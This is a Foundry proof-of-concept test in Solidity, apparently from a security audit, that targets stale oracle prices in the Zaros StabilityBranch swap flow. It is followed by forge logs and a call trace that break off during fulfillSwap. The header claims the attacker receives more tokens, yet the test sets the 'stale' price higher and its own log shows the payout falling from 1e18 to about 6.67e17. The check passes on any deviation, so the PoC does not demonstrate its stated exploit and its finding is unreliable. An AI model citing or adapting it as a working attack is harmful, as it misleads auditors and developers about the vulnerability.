pragma solidity 0.8.25;
import { Base_Test } from "test/Base.t.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { StabilityBranch } from "@zaros/market-making/branches/StabilityBranch.sol";
import { UsdTokenSwapConfig } from "@zaros/market-making/leaves/UsdTokenSwapConfig.sol";
import { IERC4626 } from "@openzeppelin/interfaces/IERC4626.sol";
import { IPriceAdapter } from "@zaros/utils/PriceAdapter.sol";
import { ud60x18, UD60x18 } from "@prb-math/UD60x18.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { console } from "forge-std/console.sol";
import { Test } from "forge-std/Test.sol";
* @title Price Staleness Risk Test
* @notice Tests vulnerability to stale price attacks in the StabilityBranch contract
* @dev When fulfilling swaps, stale prices can be used to get more favorable rates
* This test simulates an attack where a user:
* 1. Initiates a swap with normal price
* 2. Price changes significantly
* 3. Keeper executes swap with stale (old) price data
* 4. User receives more tokens than they should due to price difference
*/
contract PriceStalenessPoCTest is Base_Test {
function setUp() public virtual override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
createVaults(marketMakingEngine, INITIAL_VAULT_ID, FINAL_VAULT_ID, true, address(perpsEngine));
marketMakingEngine.configureEngine(address(marketMakingEngine), address(usdToken), true);
marketMakingEngine.configureUsdTokenSwapConfig(1, 30, 3600);
}
struct TestContext {
VaultConfig fuzzVaultConfig;
uint256 swapAmount;
bytes initialPriceData;
bytes stalePriceData;
address usdTokenSwapKeeper;
UD60x18 initialPrice;
UD60x18 stalePrice;
}
function testFuzz_PriceStalenessRisk(uint256 vaultId, uint256 priceDeviation) public {
TestContext memory ctx;
vaultId = bound(vaultId, INITIAL_VAULT_ID, FINAL_VAULT_ID);
ctx.fuzzVaultConfig = getFuzzVaultConfig(vaultId);
changePrank({ msgSender: users.naruto.account });
deal({
token: address(ctx.fuzzVaultConfig.asset),
to: ctx.fuzzVaultConfig.indexToken,
give: ctx.fuzzVaultConfig.depositCap
});
ctx.initialPrice = IPriceAdapter(ctx.fuzzVaultConfig.priceAdapter).getPrice();
UD60x18 assetAmountX18 = ud60x18(IERC4626(ctx.fuzzVaultConfig.indexToken).totalAssets());
uint256 maxSwapAmount = assetAmountX18.mul(ctx.initialPrice).intoUint256();
ctx.swapAmount = bound(maxSwapAmount / 2, 1e18, maxSwapAmount);
priceDeviation = bound(priceDeviation, 15e17, 3e18);
ctx.stalePrice = ctx.initialPrice.mul(ud60x18(priceDeviation));
ctx.initialPriceData = getMockedSignedReport(ctx.fuzzVaultConfig.streamId, ctx.initialPrice.intoUint256());
ctx.stalePriceData = getMockedSignedReport(ctx.fuzzVaultConfig.streamId, ctx.stalePrice.intoUint256());
deal({ token: address(usdToken), to: users.naruto.account, give: ctx.swapAmount });
initiateUsdSwap(uint128(ctx.fuzzVaultConfig.vaultId), uint128(ctx.swapAmount), 0);
ctx.usdTokenSwapKeeper = usdTokenSwapKeepers[ctx.fuzzVaultConfig.asset];
changePrank({ msgSender: ctx.usdTokenSwapKeeper });
skip(10);
uint256 expectedAmount = marketMakingEngine.getAmountOfAssetOut(
ctx.fuzzVaultConfig.vaultId,
ud60x18(ctx.swapAmount),
ctx.initialPrice
).intoUint256();
uint256 actualAmount = marketMakingEngine.getAmountOfAssetOut(
ctx.fuzzVaultConfig.vaultId,
ud60x18(ctx.swapAmount),
ctx.stalePrice
).intoUint256();
uint256 deviationPct = ((expectedAmount > actualAmount ?
expectedAmount - actualAmount :
actualAmount - expectedAmount) * 100) / expectedAmount;
console.log("Expected amount:", expectedAmount);
console.log("Actual amount with stale price:", actualAmount);
console.log("Deviation percentage:", deviationPct, "%");
require(deviationPct >= 30, "Price staleness should cause >30% deviation");
marketMakingEngine.fulfillSwap(
users.naruto.account,
1,
ctx.stalePriceData,
address(marketMakingEngine)
);
uint256 userBalance = IERC20(ctx.fuzzVaultConfig.asset).balanceOf(users.naruto.account);
uint256 expectedInAssetDecimals = actualAmount / (10 ** (18 - ctx.fuzzVaultConfig.decimals));
uint256 tolerance = (expectedInAssetDecimals * 5) / 100;
if (!(userBalance >= expectedInAssetDecimals - tolerance && userBalance <= expectedInAssetDecimals + tolerance)) {
console.log("Expected balance within:", expectedInAssetDecimals - tolerance, "to", expectedInAssetDecimals + tolerance);
console.log("Actual balance:", userBalance);
revert("Balance outside tolerance range");
}
}
}
forge test --match-test testFuzz_PriceStalenessRisk -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https:
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠃] Compiling...
No files changed, compilation skipped
Ran 1 test for test/branches/StabilityBranch.t.sol:PriceStalenessPoCTest
[PASS] testFuzz_PriceStalenessRisk(uint256,uint256) (runs: 1002, μ: 692183, ~: 691821)
Logs:
UpgradeBranch: 0xb7af057b9d1eCe34226B73527D1FDf159E3e0BD0
LookupBranch: 0x27B3980C8d5fE66bE267d504Ab95b6BDC4db0A30
LiquidationBranch: 0x23b8fA2c90CBcFFE87852055A1F845235710327D
OrderBranch: 0xbF35afee2e60E5709AA4e4aeD2Bdc0dCD48077A8
PerpMarketBranch: 0xf48BA8ba127F1A4d2d7b150a25Bb838290a135c2
SettlementBranch: 0x97b16edc26e52653De87AdE33Fc812F6C71c635c
PerpsEngineConfigurationBranch: 0xe70E8dE3d87Bd50E05BB29e683379f0255ee85AC
TradingAccountBranch: 0x5062b89F95D66C010ea9585432a0B8b35dB4122C
PerpsEngineConfigurationHarness: 0x20BA9406f94735d5191F28882aE48Fc08423D009
MarginCollateralConfigurationHarness: 0x420B33764F9ab695addd6098db0730c8B33D7d02
MarketConfigurationHarness: 0x6dA36424D631fcc6fC8CC621B6d6d2A087D7CF17
MarketOrderHarness: 0xAfa7C646038C0692d9c8aFC262211aecC385d782
PerpMarketHarness: 0xe30B4c484bBD3D8eE9F4d2EFec3f87a9Fd02AA22
PositionHarness: 0x4C5f44874DeEF37438637949166E1761D534A9F9
SettlementConfigurationHarness: 0xB18C3B38D311B3CAEf248972F021CC0F3eE48544
TradingAccountHarness: 0xF3574595B613bCb893e17B86B78Eb755c11C7B39
USDC/USD Zaros Price Adapter - PriceAdapter deployed at: 0x7E10Be87160f39B3f0E7a606bBb5fd94dC949fA1
USDz/USD Zaros Price Adapter - PriceAdapter deployed at: 0x131b050d802eE67ad93f6a92cF693C4803CC3F80
WETH/USD Zaros Price Adapter - PriceAdapter deployed at: 0x3deA0bd0440Dc2684B673511B0619194265734bf
WEETH/USD Zaros Price Adapter - PriceAdapter deployed at: 0x7d7ffB6f90A274972Ac7F09E2756a8A290Db4208
WBTC/USD Zaros Price Adapter - PriceAdapter deployed at: 0x50795785161296B0A64914b4ee9285bAF70371Cd
WSTETH/USD Zaros Price Adapter - PriceAdapter deployed at: 0x79d9A4c85De4d2Dc256beb79fcB8d5f295e596E2
Zaros Perpetuals AMM USD - PriceAdapter deployed at: 0x885B853B0437188140D457dAA7375a699E34E9e3
USD Coin - PriceAdapter deployed at: 0xA6aB80C760EF3dde41c78eDb3ebf18dc403b6A68
Wrapped Ether - PriceAdapter deployed at: 0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8
Wrapped BTC - PriceAdapter deployed at: 0xFC9526c221A88596628be1f881C531Fb676365F9
Wrapped liquid staked Ether 2.0 - PriceAdapter deployed at: 0xBbdf9cf343488489D15c99E190595d5d2C1819dE
Wrapped eETH - PriceAdapter deployed at: 0x5aec81e05D8Fc1e687Dd1020FA8F1d97292696EA
BTC/USD Zaros Price Adapter - PriceAdapter deployed at: 0x133d712FD347b106358D5BB861a6a4F9F23dE39e
ETH/USD Zaros Price Adapter - PriceAdapter deployed at: 0x36A35D16ed61906Bb68C8431A14c1B0b9F91e180
LINK/USD Zaros Price Adapter - PriceAdapter deployed at: 0xAC9F238E637F2B48507A2d6D983314b61F52D9FD
ARB/USD Zaros Price Adapter - PriceAdapter deployed at: 0x7A463a6B208ebBFE37Cd2B0211260Ac620297BDE
BNB/USD Zaros Price Adapter - PriceAdapter deployed at: 0x8F8E0c16Ab147D5B51a7282924E4Fb25F4189AaC
DOGE/USD Zaros Price Adapter - PriceAdapter deployed at: 0x406cF73869208138902A7399D6E400625305fFb6
SOL/USD Zaros Price Adapter - PriceAdapter deployed at: 0xb8F5d0cD54F3C50B1D83BA75420409403ff7f83D
MATIC/USD Zaros Price Adapter - PriceAdapter deployed at: 0xD00aD0dd3a8C195DcCd05a642cf1cFda1bF7D3a5
LTC/USD Zaros Price Adapter - PriceAdapter deployed at: 0x8E99E51C3C0FA6C58aFFec1707377cb420FE5604
FTM/USD Zaros Price Adapter - PriceAdapter deployed at: 0x7da60089Ff3e1beB78069E905b174201C259B2B6
changePrank is deprecated. Please use vm.startPrank instead.
changePrank is deprecated. Please use vm.startPrank instead.
UpgradeBranch: 0xA1F9Ac79B17D11b1C636e9bF566397385Ab946AF
CreditDelegationBranch: 0xB94cD301A55059345195ed2441f3314fa986995a
MarketMakingEnginConfigBranch: 0x200fb6D331F6c78D2C5DcAD770cf09aCDE9b14C1
VaultRouterBranch: 0x63A27f929B59D9847DB11417891D36058a5A8Ae7
FeeDistributionBranch: 0x894Ffc6ac8285937b6769D24487B0D383e98C987
StabilityBranch: 0x17fd108259544deB64249D8Eca47C651f3a45D8d
VaultHarness: 0xA6315C0ea989Ba6f541A4c6298f1C07d6b1809c8
WithdrawalRequestHarness: 0x5c2Cb7E7d0eCfb5d0b30178162D0b9D274cd077e
CollateralHarness: 0x2F5B7c200A9F94788c26696b9Ce963e3E1d93a3a
DistributionHarness: 0xAABE916790c57b676DFa4AbD50cdeA07073B9777
MarketHarness: 0xD30116ac9525d7335D7C731a9FBf4624975e9b20
MarketMakingEngineConfigurationHarness: 0x763d32e23401eAD917023881999Dbd38Aa76C25F
DexSwapStrategyHarness: 0x5366b36Bd8fe6EeFfB1C4673017a7b88901C8f4D
StabilityConfigurationHarness: 0x86b3Ced0366D9167861b13af100e7C48A62E8249
changePrank is deprecated. Please use vm.startPrank instead.
UniswapV3Adapter deployed at: 0xD9780D374255acE5F7C2CA90C54883D9B790Ab83
Asset swap config data set in UniswapV3Adapter: asset: 0x8392F9cC30c5e7b7E9095c746784573CAFD68432, decimals: 6, priceAdapter: 0xA6aB80C760EF3dde41c78eDb3ebf18dc403b6A68
Asset swap config data set in UniswapV3Adapter: asset: 0x901E3891D087117c61D7665E14FD1a09FbDDE8C6, decimals: 18, priceAdapter: 0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8
Asset swap config data set in UniswapV3Adapter: asset: 0xda2e5518B192e5804F96049Ca51E9E4E59BCa3C6, decimals: 8, priceAdapter: 0xFC9526c221A88596628be1f881C531Fb676365F9
Asset swap config data set in UniswapV3Adapter: asset: 0xC0936F0e6A41689d33fEd49e31546222e8adf750, decimals: 18, priceAdapter: 0x5aec81e05D8Fc1e687Dd1020FA8F1d97292696EA
Asset swap config data set in UniswapV3Adapter: asset: 0x8c3aE1a8D635758eAEBbCC77ddC18F08749A707c, decimals: 18, priceAdapter: 0xBbdf9cf343488489D15c99E190595d5d2C1819dE
Uniswap V3 Swap Strategy configured in MarketMakingEngine: strategyId: 1, strategyAddress: 0xD9780D374255acE5F7C2CA90C54883D9B790Ab83
UniswapV2Adapter deployed at: 0xeCc923D1C8B0e4dAd3565408586C41C282474d3a
Asset swap config data set in UniswapV2Adapter: asset: 0x8392F9cC30c5e7b7E9095c746784573CAFD68432, decimals: 6, priceAdapter: 0xA6aB80C760EF3dde41c78eDb3ebf18dc403b6A68
Asset swap config data set in UniswapV2Adapter: asset: 0x901E3891D087117c61D7665E14FD1a09FbDDE8C6, decimals: 18, priceAdapter: 0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8
Asset swap config data set in UniswapV2Adapter: asset: 0xda2e5518B192e5804F96049Ca51E9E4E59BCa3C6, decimals: 8, priceAdapter: 0xFC9526c221A88596628be1f881C531Fb676365F9
Asset swap config data set in UniswapV2Adapter: asset: 0xC0936F0e6A41689d33fEd49e31546222e8adf750, decimals: 18, priceAdapter: 0x5aec81e05D8Fc1e687Dd1020FA8F1d97292696EA
Asset swap config data set in UniswapV2Adapter: asset: 0x8c3aE1a8D635758eAEBbCC77ddC18F08749A707c, decimals: 18, priceAdapter: 0xBbdf9cf343488489D15c99E190595d5d2C1819dE
Uniswap V3 Swap Strategy configured in MarketMakingEngine: strategyId: 2, strategyAddress: 0xeCc923D1C8B0e4dAd3565408586C41C282474d3a
curveStrategyRouter deployed at: 0x5fc1a6188178D30EF70A6aB440a2707b9dc54E78
Asset swap config data set in CurveAdapter: asset: 0x8392F9cC30c5e7b7E9095c746784573CAFD68432, decimals: 6, priceAdapter: 0xA6aB80C760EF3dde41c78eDb3ebf18dc403b6A68
Asset swap config data set in CurveAdapter: asset: 0x901E3891D087117c61D7665E14FD1a09FbDDE8C6, decimals: 18, priceAdapter: 0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8
Asset swap config data set in CurveAdapter: asset: 0xda2e5518B192e5804F96049Ca51E9E4E59BCa3C6, decimals: 8, priceAdapter: 0xFC9526c221A88596628be1f881C531Fb676365F9
Asset swap config data set in CurveAdapter: asset: 0xC0936F0e6A41689d33fEd49e31546222e8adf750, decimals: 18, priceAdapter: 0x5aec81e05D8Fc1e687Dd1020FA8F1d97292696EA
Asset swap config data set in CurveAdapter: asset: 0x8c3aE1a8D635758eAEBbCC77ddC18F08749A707c, decimals: 18, priceAdapter: 0xBbdf9cf343488489D15c99E190595d5d2C1819dE
Traces:
[870124] PriceStalenessPoCTest::testFuzz_PriceStalenessRisk(3850398823843520669481701201126526647693238265826039205510407166013137223681 [3.85e75], 20693 [2.069e4])
├─ [0] console::log("Bound result", 1) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Bound result", 1) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("changePrank is deprecated. Please use vm.startPrank instead.") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229])
│ └─ ← [Return]
├─ [2582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::record()
│ └─ ← [Return]
├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::accesses(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750])
│ └─ ← [Return] [0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba], []
├─ [0] VM::load(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ emit WARNING_UninitedSlot(who: weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], slot: 90115191988934728700684632302256769083203784757599836787361306768335626117306 [9.011e76])
├─ [0] VM::load(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::store(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
│ └─ ← [Return]
├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::store(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ emit SlotFound(who: weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], fsig: 0x70a08231, keysHash: 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba, slot: 90115191988934728700684632302256769083203784757599836787361306768335626117306 [9.011e76])
├─ [0] VM::load(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [0] VM::store(weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], 0xc73b6423f5149631630e32f0a37e5d5bad55fd7a767103ed16a662d3573920ba, 0x0000000000000000000000000000000000000000000000001bc16d674ec80000)
│ └─ ← [Return]
├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ └─ ← [Return] 2000000000000000000 [2e18]
├─ [30560] ERC1967Proxy::fallback() [staticcall]
│ ├─ [25688] PriceAdapter::getPrice() [delegatecall]
│ │ ├─ [2287] MockPriceFeed::decimals() [staticcall]
│ │ │ └─ ← [Return] 18
│ │ ├─ [2358] MockSequencerUptimeFeed::latestRoundData() [staticcall]
│ │ │ └─ ← [Return] 0, 0, 1, 1680220800 [1.68e9], 0
│ │ ├─ [2414] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ └─ ← [Return] 0, 2000000000000000000000 [2e21], 0, 1680220800 [1.68e9], 0
│ │ ├─ [2300] MockPriceFeed::aggregator() [staticcall]
│ │ │ └─ ← [Return] MockAggregator: [0xC74EA6A8F32860Cce3B62a0f7C30512464BF9739]
│ │ ├─ [160] MockAggregator::minAnswer() [staticcall]
│ │ │ └─ ← [Return] 1999999999999999999999 [1.999e21]
│ │ ├─ [193] MockAggregator::maxAnswer() [staticcall]
│ │ │ └─ ← [Return] 2000000000000000000001 [2e21]
│ │ └─ ← [Return] 2000000000000000000000 [2e21]
│ └─ ← [Return] 2000000000000000000000 [2e21]
├─ [8221] ERC1967Proxy::fallback() [staticcall]
│ ├─ [3349] ZlpVault::totalAssets() [delegatecall]
│ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ └─ ← [Return] 2000000000000000000 [2e18]
│ └─ ← [Return] 2000000000000000000 [2e18]
├─ [0] console::log("Bound result", 2000000000000000000000 [2e21]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Bound result", 1500000000000020694 [1.5e18]) [staticcall]
│ └─ ← [Stop]
├─ [2583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::record()
│ └─ ← [Return]
├─ [583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::accesses(USDz: [0x6bE3C80660123c537088E68F032F44C061510731])
│ └─ ← [Return] [0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc], []
├─ [0] VM::load(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ emit WARNING_UninitedSlot(who: USDz: [0x6bE3C80660123c537088E68F032F44C061510731], slot: 17253419905260593075329270441976474840508986577177128640833442845820635365884 [1.725e76])
├─ [0] VM::load(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::store(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
│ └─ ← [Return]
├─ [583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::store(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc, 0x0000000000000000000000000000000000000000000000000000000000000000)
│ └─ ← [Return]
├─ emit SlotFound(who: USDz: [0x6bE3C80660123c537088E68F032F44C061510731], fsig: 0x70a08231, keysHash: 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc, slot: 17253419905260593075329270441976474840508986577177128640833442845820635365884 [1.725e76])
├─ [0] VM::load(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [0] VM::store(USDz: [0x6bE3C80660123c537088E68F032F44C061510731], 0x262516f054714c48d5ef7386282948b73b29def7339027d51b4cdd58d9a0c1fc, 0x00000000000000000000000000000000000000000000006c6b935b8bbd400000)
│ └─ ← [Return]
├─ [583] USDz::balanceOf(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229]) [staticcall]
│ └─ ← [Return] 2000000000000000000000 [2e21]
├─ [168519] MarketMakingEngine::fallback([1], [2000000000000000000000 [2e21]], [0])
│ ├─ [163240] StabilityBranch::initiateSwap([1], [2000000000000000000000 [2e21]], [0]) [delegatecall]
│ │ ├─ [6560] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [6188] PriceAdapter::getPrice() [delegatecall]
│ │ │ │ ├─ [287] MockPriceFeed::decimals() [staticcall]
│ │ │ │ │ └─ ← [Return] 18
│ │ │ │ ├─ [358] MockSequencerUptimeFeed::latestRoundData() [staticcall]
│ │ │ │ │ └─ ← [Return] 0, 0, 1, 1680220800 [1.68e9], 0
│ │ │ │ ├─ [414] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ │ │ └─ ← [Return] 0, 2000000000000000000000 [2e21], 0, 1680220800 [1.68e9], 0
│ │ │ │ ├─ [300] MockPriceFeed::aggregator() [staticcall]
│ │ │ │ │ └─ ← [Return] MockAggregator: [0xC74EA6A8F32860Cce3B62a0f7C30512464BF9739]
│ │ │ │ ├─ [160] MockAggregator::minAnswer() [staticcall]
│ │ │ │ │ └─ ← [Return] 1999999999999999999999 [1.999e21]
│ │ │ │ ├─ [193] MockAggregator::maxAnswer() [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000001 [2e21]
│ │ │ │ └─ ← [Return] 2000000000000000000000 [2e21]
│ │ │ └─ ← [Return] 2000000000000000000000 [2e21]
│ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ ├─ [1721] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [1349] ZlpVault::totalAssets() [delegatecall]
│ │ │ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ ├─ [27640] USDz::transferFrom(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], 2000000000000000000000 [2e21])
│ │ │ ├─ emit Transfer(from: Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], to: MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba], value: 2000000000000000000000 [2e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit LogInitiateSwap(caller: Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], requestId: 1, vaultId: 1, amountIn: 2000000000000000000000 [2e21], minAmountOut: 0, assetOut: weETH: [0xC0936F0e6A41689d33fEd49e31546222e8adf750], deadline: 1680224400 [1.68e9])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] console::log("changePrank is deprecated. Please use vm.startPrank instead.") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(ERC1967Proxy: [0x6A0d71d1258c3fbB3E7B7a3145fec78565723353])
│ └─ ← [Return]
├─ [0] VM::getBlockTimestamp() [staticcall]
│ └─ ← [Return] 1680220800 [1.68e9]
├─ [0] VM::warp(1680220810 [1.68e9])
│ └─ ← [Return]
├─ [8851] MarketMakingEngine::fallback(1, 2000000000000000000000 [2e21], 2000000000000000000000 [2e21]) [staticcall]
│ ├─ [6099] StabilityBranch::getAmountOfAssetOut(1, 2000000000000000000000 [2e21], 2000000000000000000000 [2e21]) [delegatecall]
│ │ ├─ [1721] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [1349] ZlpVault::totalAssets() [delegatecall]
│ │ │ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ └─ ← [Return] 1000000000000000000 [1e18]
│ └─ ← [Return] 1000000000000000000 [1e18]
├─ [6851] MarketMakingEngine::fallback(1, 2000000000000000000000 [2e21], 3000000000000041388000 [3e21]) [staticcall]
│ ├─ [6099] StabilityBranch::getAmountOfAssetOut(1, 2000000000000000000000 [2e21], 3000000000000041388000 [3e21]) [delegatecall]
│ │ ├─ [1721] ERC1967Proxy::fallback() [staticcall]
│ │ │ ├─ [1349] ZlpVault::totalAssets() [delegatecall]
│ │ │ │ ├─ [582] weETH::balanceOf(ERC1967Proxy: [0xd734F90133EB67f7CD185B3352261B9d2E24e6d5]) [staticcall]
│ │ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ │ └─ ← [Return] 2000000000000000000 [2e18]
│ │ └─ ← [Return] 666666666666657469 [6.666e17]
│ └─ ← [Return] 666666666666657469 [6.666e17]
├─ [0] console::log("Expected amount:", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Actual amount with stale price:", 666666666666657469 [6.666e17]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Deviation percentage:", 33, "%") [staticcall]
│ └─ ← [Stop]
├─ [147072] MarketMakingEngine::fallback(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], 1, 0x2be474967e88dc2edd1e9bb256d97c9e20fe2da2e7ba036ac97d8a8ec18096126c4e524ddd1a9d9ef7d40d714a1df1d9d08fe07c489b5d0a93da4552d683ffa55f320e8791952e05253f72ce0f26c053e955e4936f096b0837635671e4ced9c500000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000120000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0, MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba])
│ ├─ [144233] StabilityBranch::fulfillSwap(Naruto Uzumaki: [0xE9480E7b47FfAd4A512FabE731477A7565BC8229], 1, 0x2be474967e88dc2edd1e9bb256d97c9e20fe2da2e7ba036ac97d8a8ec18096126c4e524ddd1a9d9ef7d40d714a1df1d9d08fe07c489b5d0a93da4552d683ffa55f320e8791952e05253f72ce0f26c053e955e4936f096b0837635671e4ced9c500000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000120000362205e10b3a147d02792eccee483dca6c7b44ecce7012cb8c6e0b68b3ae9000000000000000000000000000000000000000000000000000000006426228000000000000000000000000000000000000000000000000000000000642622800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642622850000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e00000000000000000000000000000000000000000000000a2a15d09519e5787e0, MarketMakingEngine: [0xe98A0C3C4dE1ea937C993928a5AED70f9ba593ba]) [delegatecall]
│ │ ├─ [170] Chainlink Verifier::s_feeManager() [staticcall]
